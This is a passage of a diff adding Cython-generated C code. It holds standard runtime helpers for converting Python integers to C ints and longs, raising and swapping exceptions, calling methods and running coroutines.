(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if (8 * sizeof(int) > 3 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if (sizeof(int) <= sizeof(unsigned long)) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) + } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + const digit* digits = ((PyLongObject*)x)->ob_digit; + switch (Py_SIZE(x)) { + case 0: return (int) 0; + case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) + case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) + case -2: + if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if (8 * sizeof(int) > 1 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if (8 * sizeof(int) > 2 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if (8 * sizeof(int) > 3 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } +#endif + if (sizeof(int) <= sizeof(long)) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) + } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) + } + } + { +#if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) + PyErr_SetString(PyExc_RuntimeError, + "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); +#else + int val; + PyObject *v = __Pyx_PyNumber_IntOrLong(x); + #if PY_MAJOR_VERSION < 3 + if (likely(v) && !PyLong_Check(v)) { + PyObject *tmp = v; + v = PyNumber_Long(tmp); + Py_DECREF(tmp); + } + #endif + if (likely(v)) { + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + int ret = _PyLong_AsByteArray((PyLongObject *)v, + bytes, sizeof(val), + is_little, !is_unsigned); + Py_DECREF(v); + if (likely(!ret)) + return val; + } +#endif + return (int) -1; + } + } else { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { + const long neg_one = (long) -1, const_zero = (long) 0; + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if (sizeof(long) < sizeof(long)) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } else +#endif + if (likely(PyLong_Check(x))) { + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + const digit* digits = ((PyLongObject*)x)->ob_digit; + switch (Py_SIZE(x)) { + case 0: return (long) 0; + case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) + case 2: + if (8 * sizeof(long) > 1 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if (8 * sizeof(long) > 2 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if (8 * sizeof(long) > 3 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if (sizeof(long) <= sizeof(unsigned long)) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + const digit* digits = ((PyLongObject*)x)->ob_digit; + switch (Py_SIZE(x)) { + case 0: return (long) 0; + case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) + case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) + case -2: + if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if (8 * sizeof(long) > 1 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if (8 * sizeof(long) > 2 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if (8 * sizeof(long) > 3 * PyLong_SHIFT) { + if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } +#endif + if (sizeof(long) <= sizeof(long)) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) + } + } + { +#if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) + PyErr_SetString(PyExc_RuntimeError, + "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); +#else + long val; + PyObject *v = __Pyx_PyNumber_IntOrLong(x); + #if PY_MAJOR_VERSION < 3 + if (likely(v) && !PyLong_Check(v)) { + PyObject *tmp = v; + v = PyNumber_Long(tmp); + Py_DECREF(tmp); + } + #endif + if (likely(v)) { + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + int ret = _PyLong_AsByteArray((PyLongObject *)v, + bytes, sizeof(val), + is_little, !is_unsigned); + Py_DECREF(v); + if (likely(!ret)) + return val; + } +#endif + return (long) -1; + } + } else { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* FetchCommonType */ + static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* fake_module; + PyTypeObject* cached_type = NULL; + fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); + if (!fake_module) return NULL; + Py_INCREF(fake_module); + cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); + if (cached_type) { + if (!PyType_Check((PyObject*)cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", + type->tp_name); + goto bad; + } + if (cached_type->tp_basicsize != type->tp_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + type->tp_name); + goto bad; + } + } else { + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; + } +done: + Py_DECREF(fake_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} + +/* PyErrFetchRestore */ + #if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +} +#endif + +/* RaiseException */ + #if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, + CYTHON_UNUSED PyObject *cause) { + __Pyx_PyThreadState_declare + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } +#if PY_VERSION_HEX >= 0x03030000 + if (cause) { +#else + if (cause && cause != Py_None) { +#endif + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { +#if CYTHON_COMPILING_IN_PYPY + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#else + PyThreadState *tstate = PyThreadState_GET(); + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* SwapException */ + #if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = *type; + tstate->exc_value = *value; + tstate->exc_traceback = *tb; + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); + PyErr_SetExcInfo(*type, *value, *tb); + *type = tmp_type; + *value = tmp_value; + *tb = tmp_tb; +} +#endif + +/* PyObjectCallMethod1 */ + static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { + PyObject *method, *result = NULL; + method = __Pyx_PyObject_GetAttrStr(obj, method_name); + if (unlikely(!method)) goto bad; +#if CYTHON_COMPILING_IN_CPYTHON + if (likely(PyMethod_Check(method))) { + PyObject *self = PyMethod_GET_SELF(method); + if (likely(self)) { + PyObject *args; + PyObject *function = PyMethod_GET_FUNCTION(method); + args = PyTuple_New(2); + if (unlikely(!args)) goto bad; + Py_INCREF(self); + PyTuple_SET_ITEM(args, 0, self); + Py_INCREF(arg); + PyTuple_SET_ITEM(args, 1, arg); + Py_INCREF(function); + Py_DECREF(method); method = NULL; + result = __Pyx_PyObject_Call(function, args, NULL); + Py_DECREF(args); + Py_DECREF(function); + return result; + } + } +#endif + result = __Pyx_PyObject_CallOneArg(method, arg); +bad: + Py_XDECREF(method); + return result; +} + +/* CoroutineBase */ + #include +#include +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) +#if 1 || PY_VERSION_HEX < 0x030300B0 +static int __Pyx_PyGen_FetchStopIterationValue(PyObject **pvalue) { + PyObject *et, *ev, *tb; + PyObject *value = NULL; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&et, &ev, &tb); + if (!et) { + Py_XDECREF(tb); + Py_XDECREF(ev); + Py_INCREF(Py_None); + *pvalue = Py_None; + return 0; + } + if (likely(et == PyExc_StopIteration)) { +#if PY_VERSION_HEX >= 0x030300A0 + if (ev && Py_TYPE(ev) == (PyTypeObject*)PyExc_StopIteration) { + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = value; + return 0; + } +#endif + if (!ev || !PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { + if (!ev) { + Py_INCREF(Py_None); + ev = Py_None; + } else if (PyTuple_Check(ev)) { + if (PyTuple_GET_SIZE(ev) >= 1) { + PyObject *value; +#if CYTHON_COMPILING_IN_CPYTHON + value = PySequence_ITEM(ev, 0); +#else + value = PyTuple_GET_ITEM(ev, 0); + Py_INCREF(value); +#endif + Py_DECREF(ev); + ev = value; + } else { + Py_INCREF(Py_None); + Py_DECREF(ev); + ev = Py_None; + } + } + Py_XDECREF(tb); + Py_DECREF(et); + *pvalue = ev; + return 0; + } + } else if (!PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + PyErr_NormalizeException(&et, &ev, &tb); + if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { + __Pyx_ErrRestore(et, ev, tb); + return -1; + } + Py_XDECREF(tb); + Py_DECREF(et); +#if PY_VERSION_HEX >= 0x030300A0 + value = ((PyStopIterationObject *)ev)->value; + Py_INCREF(value); + Py_DECREF(ev); +#else + { + PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); + Py_DECREF(ev); + if (likely(args)) { + value = PySequence_GetItem(args, 0); + Py_DECREF(args); + } + if (unlikely(!value)) { + __Pyx_ErrRestore(NULL, NULL, NULL); + Py_INCREF(Py_None); + value = Py_None; + } + } +#endif + *pvalue = value; + return 0; +} +#endif +static CYTHON_INLINE +void __Pyx_Coroutine_ExceptionClear(__pyx_CoroutineObject *self) { + PyObject *exc_type = self->exc_type; + PyObject *exc_value = self->exc_value; + PyObject *exc_traceback = self->exc_traceback; + self->exc_type = NULL; + self->exc_value = NULL; + self->exc_traceback = NULL; + Py_XDECREF(exc_type); + Py_XDECREF(exc_value); + Py_XDECREF(exc_traceback); +} +static CYTHON_INLINE +int __Pyx_Coroutine_CheckRunning(__pyx_CoroutineObject *gen) { + if (unlikely(gen->is_running)) { + PyErr_SetString(PyExc_ValueError, + "generator already executing"); + return 1; + } + return 0; +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value) { + PyObject *retval; + __Pyx_PyThreadState_declare + assert(!self->is_running); + if (unlikely(self->resume_label == 0)) { + if (unlikely(value && value != Py_None)) { + PyErr_SetString(PyExc_TypeError, + "can't send non-None value to a " + "just-started generator"); + return NULL; + } + } + if (unlikely(self->resume_label == -1)) { + PyErr_SetNone(PyExc_StopIteration); + return NULL; + } + __Pyx_PyThreadState_assign + if (value) { +#if CYTHON_COMPILING_IN_PYPY +#else + if (self->exc_traceback) { + PyTracebackObject *tb = (PyTracebackObject *) self->exc_traceback; + PyFrameObject *f = tb->tb_frame; + Py_XINCREF(__pyx_tstate->frame); + assert(f->f_back == NULL); + f->f_back = __pyx_tstate->frame; + } +#endif + __Pyx_ExceptionSwap(&self->exc_type, &self->exc_value, + &self->exc_traceback); + } else { + __Pyx_Coroutine_ExceptionClear(self); + } + self->is_running = 1; + retval = self->body((PyObject *) self, value); + self->is_running = 0; + if (retval) { + __Pyx_ExceptionSwap(&self->exc_type, &self->exc_value, + &self->exc_traceback); +#if CYTHON_COMPILING_IN_PYPY +#else + if (self->exc_traceback) { + PyTracebackObject *tb = (PyTracebackObject *) self->exc_traceback; + PyFrameObject *f = tb->tb_frame; + Py_CLEAR(f->f_back); + } +#endif + } else { + __Pyx_Coroutine_ExceptionClear(self); + } + return retval; +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_MethodReturn(PyObject *retval) { + if (unlikely(!retval && !PyErr_Occurred())) { + PyErr_SetNone(PyExc_StopIteration); + } + return retval; +} +static CYTHON_INLINE +PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { + PyObject *ret; + PyObject *val = NULL; + __Pyx_Coroutine_Undelegate(gen); + __Pyx_PyGen_FetchStopIterationValue(&val); + ret = __Pyx_Coroutine_SendEx(gen, val); + Py_XDECREF(val); + return ret; +} +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { + PyObject *retval; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(__Pyx_Coroutine_CheckRunning(gen))) + return NULL; + if (yf) { + PyObject *ret; + gen->is_running = 1; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_CheckExact(yf)) { + ret = __Pyx_Coroutine_Send(yf, value); + } else + #endif + { + if (value == Py_None) + ret = Py_TYPE(yf)->tp_iternext(yf); + else + ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); + } + gen->is_running = 0; + if (likely(ret)) { + return ret; + } + retval = __Pyx_Coroutine_FinishDelegation(gen); + } else { + retval = __Pyx_Coroutine_SendEx(gen, value); + } + return __Pyx_Coroutine_MethodReturn(retval); +} +static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { + PyObject *retval = NULL; + int err = 0; + #ifdef __Pyx_Generator_USED + if (__Pyx_Generator_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + #ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_CheckExact(yf)) { + retval = __Pyx_Coroutine_Close(yf); + if (!retval) + return -1; + } else + #endif + { + PyObject *meth; + gen->is_running = 1; + meth = __Pyx_PyObject_GetAttrStr(yf, __pyx_n_s_close); + if (unlikely(!meth)) { + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_WriteUnraisable(yf); + } + PyErr_Clear(); + } else { + retval = PyObject_CallFunction(meth, NULL); + Py_DECREF(meth); + if (!retval) + err = -1; + } + gen->is_running = 0; + } + Py_XDECREF(retval); + return err; +} +static PyObject *__Pyx_Generator_Next(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; + PyObject *yf = gen->yieldfrom; + if (unlikely(__Pyx_Coroutine_CheckRunning(gen))) + return NULL; + if (yf) { + PyObject *ret; + gen->is_running = 1; + ret = Py_TYPE(yf)->tp_iternext(yf); + 